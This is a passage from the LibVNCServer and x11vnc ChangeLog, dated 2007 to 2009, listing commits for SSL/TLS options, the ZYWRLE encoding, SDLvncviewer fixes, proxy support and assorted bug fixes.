x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix compiler warnings. 2009-01-04 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb, find /dev/video better. Fix reverse SSL connection for DH. Some improvements for CUPS TS helper, restart if needed. 2009-01-04 runge * configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include file file for libXrandr on Solaris. prepare_x11vnc_dist.sh: set version to 0.9.7 2008-12-10 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release. Some strtok bugfixes. rename -tlsvnc to -anontls. Disable ssl caching. No cert creation prompting in inetd or bg modes. waitpid a bit more carefully on ssl helpers. Tune ssl initial timeouts. Let -create user specify starting X display. fix -rfbport prompt gui for older tk. -sslonly option. Error if no -ssl with related options. -rand option. -ssl implies -ssl SAVE 2008-11-22 runge * classes/ssl/ss_vncviewer: Update ss_vncviewer... 2008-11-22 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa tch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC sync: stunnel upgrade and patch, change wish order, -anondh -ciphers option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer). Help text tweaks -killstunnel, s_client fixes, No Encryption easier. Zeroconf/avahi support. tk font fixes. SSVNC_ULTRA_FTP_JAR finding SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION, SSVNC_SET_SECURITY_TYPE, etc hacks. 2008-11-22 runge * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file. -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT VeNCrypt and TLSVNC SSL/TLS encryption support. Tweaks to choose_delay() algorithm. -ssl ANON anonymouse Diffie-Hellman mode. Fix bugs in certs management. Additions to tray=setpass naive user mode. 2008-11-05 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c, x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: add zeroconf external helpers (avahi-publish and dns-sd). Alias -zeroconf. Close pipeinput_fh on exit. Kludge to make -solid work on MacOSX console. Attempt at cpp macros to disable newer libvncserver interfaces. 2008-11-05 runge * configure.ac: Tweak messages. Add shmat for --without-x building. 2008-10-30 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: synchronize ssvnc 2008-10-29 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -http_oneport for single port HTTP and VNC. Improve find_display wrt lsof blocking with -b. 2008-10-19 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling, -chatonly, iso-8859-1/utf8 etc., etc. 2008-10-19 runge * classes/ssl/ss_vncviewer, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC viewer jars and patch file. 2008-10-19 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: -chatwindow, -scale WxH, -enc changes. 2008-09-21 runge * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc cipher:keyfile, works with SSVNC. Make -remap work on MacOSX console. update to 0.9.5 strings. Add a couple menu items to tkx11vnc. 2008-09-17 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode. 2008-09-14 runge * classes/ssl/ss_vncviewer, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -sleepin m-n for random sleep. More mktemp and mkstemp protections. SSL_INIT_TIMEOUT=n env. var. Fix macosx console X call bug. Synchronize other projects sources. 2008-09-07 runge * classes/ssl/ss_vncviewer, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCG.c, x11vnc/macosxCG.h, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill gui_pid on exit in -connect/-connect_or_exit mode. -grablocal n experiment (not compiled by default). -macuskbd option for macosx for orig uskdb code. keycode=N remote contol cmd. Find dpy look at non-NFS cookies in /tmp. Fix gui tray insertion on recent gnome dt. Fix connect_file bug. Sync SSVNC 2008-06-24 runge * libvncserver/rfbserver.c: We seem to need to guard against freeing iterator 'i' twice in rfbSendFramebufferUpdate() (italc reported bug) 2008-06-07 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM for HP-UX. Print info on SSH_CONNECTION override. 2008-06-03 dscho * ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update screen correctly after a resize Signed-off-by: Johannes Schindelin 2008-06-03 runge * configure.ac: Enable --with-ssl=DIR option. 2008-06-01 runge * x11vnc/README, x11vnc/options.c, x11vnc/options.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: lower waitms and defer if framebuffer reads are fast (> 100MB/s) 2008-06-01 runge * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xinerama.c: x11vnc: support colormaps for depths other than 8. xinerama warppointer only if more than one subscreen. 2008-05-31 dscho * .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin 2008-05-31 dscho * VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin 2008-05-31 dscho * VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG(). Signed-off-by: Johannes Schindelin 2008-05-31 dscho * TODO: Update TODOs Signed-off-by: Johannes Schindelin 2008-05-31 dscho * libvncserver-config.in: Fix libvncserver-config for in-place operation Since quite some time, the linkable libraries are stored in the .libs/ subdirectories. Adjust libvncserver-config to account for that when running without installing. Signed-off-by: Johannes Schindelin 2008-05-23 runge * libvncserver/rfbserver.c: Handle colormaps with more than 256 colors. 2008-05-13 dscho * examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a sensible cursor anyway, so better disable the cursor (which would have to be drawn for clients that do not support CursorShapeUpdates). Signed-off-by: Johannes Schindelin 2008-05-13 dscho * client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now supports viewonly connections. Signed-off-by: Johannes Schindelin 2008-05-12 runge * x11vnc/README, x11vnc/help.c, x11vnc/selection.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: SSL fixes. Increase cert lifetimes to 2 years. Print ssl err msg. 2008-05-12 runge * configure.ac: Add X509_print_ex_fp check for x11vnc. 2008-05-12 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Many improvement to the frontend and unix viewer. UltraVNC proxy support, and other proxy improvements. 2008-05-08 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support. fix to setp gui mode. -threads is now strongly discouraged. Read PORT= in url. User can set nolisten for Xvfb in -create mode. clean up wait_for_client() to some degree. 2008-05-08 runge * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for "https" to viewers. update jars. 2008-04-28 dscho * rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and sometimes it is outright undesirable to compile with JPEG support, e.g. when the server is not very fast. So fix the compilation for that case. Signed-off-by: Johannes Schindelin 2008-03-21 dscho * TODO: Update TODOs Signed-off-by: Johannes Schindelin 2008-02-18 dscho * ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit (Christian Ehrlicher) Signed-off-by: Johannes Schindelin 2008-02-18 runge * classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars. 2008-02-18 runge * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for release 2008-02-18 runge * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: minor date changes. 2008-02-18 runge * x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: ssvnc sync with zywrle support and improvements to popup. 2008-02-04 dscho * ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE patch for libvncclient (thanks Noriaki Yamazaki) Highlite: * use qualityLevel/zlib_buffer. No new variable is needed. * Change coding style to recursive fashion. * Change meaning of qualityLevel== 9 for easy calc zywrle_level: old:zywrle_level== 1 new:disable ZYWRLE(same as ZRLE) so, we should not use this value for compatible reason. * Color mode handling isn't complete. I provided and checked 16 bit colors(RGB555,RGB565) and some color mode of 32 bit colors for little endian mode. we must make and check 24 bit colors and big endian mode. Signed-off-by: Johannes Schindelin 2008-02-04 dscho * ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin 2008-02-03 runge * libvncserver/stats.c: Add ZYWRLE to server printout. 2008-02-02 dscho * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit "translate keys based on unicode (much more reliable than sym)". I do not remember why, nor what I smoked, but this was wrong. Signed-off-by: Johannes Schindelin 2008-02-02 dscho * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix Ctrl+ Signed-off-by: Johannes Schindelin 2008-02-02 dscho * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix translation of the Tab key Signed-off-by: Johannes Schindelin 2008-02-02 dscho * TODO: Updated TODOs Signed-off-by: Johannes Schindelin 2008-02-01 runge * libvncserver/Makefile.am: Need to include zywrletemplate.c in Makefile.am 2008-02-01 runge * classes/ssl/ss_vncviewer: sync java viewer. 2008-02-01 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds estimate, guard against client disconnecting. 2008-01-31 dscho * libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported encodings dynamic. It never triggered, until ZYWRLE was added. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin 2008-01-31 dscho * Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a configure switch --with-x11vnc, without which x11vnc is not built. However, even _with_ this switch, it is not built, because the Makefile would not recurse into the x11vnc/ subdirectory. Fix that. Signed-off-by: Johannes Schindelin 2008-01-31 dscho * libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian (because they are 16-bit values), we need to cast "unsigned char" to "unsigned short"; otherwise, Microsoft's compiler would keep complaining. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin 2008-01-31 dscho * libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too, so if libjpeg is not present, but libz is, we still need to have that struct member. Signed-off-by: Johannes Schindelin 2008-01-30 dscho * libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you have more than one client in a threaded server. Instead, we have the data in the client structure now. Signed-off-by: Johannes Schindelin 2008-01-30 dscho * libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown paper bag fix While adjusting the coding style, three stupid mistakes happened. The quality is _not_ just 1, 2, 3, but really 1, 3, 2. And the macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more than one statement, which means that we need curly brackets around them when they are in an if clause. Signed-off-by: Johannes Schindelin 2008-01-29 dscho * TODO: Update TODOs Signed-off-by: Johannes Schindelin 2008-01-29 dscho * .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and this file does not hurt. Signed-off-by: Johannes Schindelin 2008-01-29 dscho * ChangeLog, libvncserver/rfbserver.c: Add missing #include (thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin 2008-01-29 dscho * AUTHORS, ChangeLog, libvncserver/rfbserver.c, libvncserver/scale.c, libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c, rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin 2008-01-29 dscho * AUTHORS, CMakeLists.txt, ChangeLog, configure.ac, rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks to Christian Ehrlicher) Signed-off-by: Johannes Schindelin 2008-01-15 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in copy_tiles after xrandr resize. 2007-12-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on macosx. improve tkx11vnc wrt attaching to existing server in icon/tray mode. 2007-12-16 runge * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch: Fixes for MacOSX 10.5. Improve usage of x11 viewer on macosx. 2007-12-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c, x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix find_display and usleep() prototype on macosx. -display console and check DISPLAY /tmp/...:0 on macosx. implement -noxinerama. 2007-11-13 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add clear_locks (Caps_Lock, etc) action. 2007-10-27 runge * x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5 proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin 2007-10-27 runge * classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync. 2007-10-27 runge * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c, x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh options. ncache bug in -8to24, Selection "targets" bugfix. 2007-10-04 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay 2007-09-26 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to find/create scripts. More ratecheck. 2007-09-17 dscho * libvncserver/rfbserver.c: Avoid misaligned access on 64-bit machines We used to assume that a char[256] is properly aligned to be cast to an rfbServerInitMsg, but that was not the case. So use a union instead. Noticed by Flavio Leitner. Signed-off-by: Johannes Schindelin 2007-09-11 runge * classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update ss_vncviewer script, jars, and patch files. 2007-09-11 runge * x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README, x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc: sshvnc ssh-only, tsvnc Terminal Services modes. Improvements to ss_vncviewer. Automatically find X dpy and X login. Reorganize menus a bit. ~/.ssvncrc file. 2007-09-11 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc: fix wireframe crash under -clip. Add -redirect for VNC redir. -rawfb nullbig, randbig, solid, swirl, etc. FD_XDM mode to find_display. -listdpy. Add enlightenment. Xvnc.redirect FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc. AUTO_PORT. 2007-09-05 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc: -autoport, -finddpy, -xdummy. watch xrandr events. check_redir_services() utilities for Terminal services. Improve Xdummy. 2007-09-05 runge * ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc, classes/ssl/ss_vncviewer, classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, classes/ssl/ultraproxy.vnc, classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl: improve timeouts, port fallback, and connection time. 2007-08-19 runge * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: malloc score_hint and make it shorts to save space. 2007-08-19 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb tie-breaking for up keystrokes. Add Xsrv/FD_XSRV custom server to FINDCREATEDISPLAY list. 2007-08-18 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create) script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc support 2007-08-16 runge * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect support to -display WAIT:, fix SSL Fetch cert only for -display WAIT: 2007-08-14 dscho * AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the GotRect hook is set, override default op. 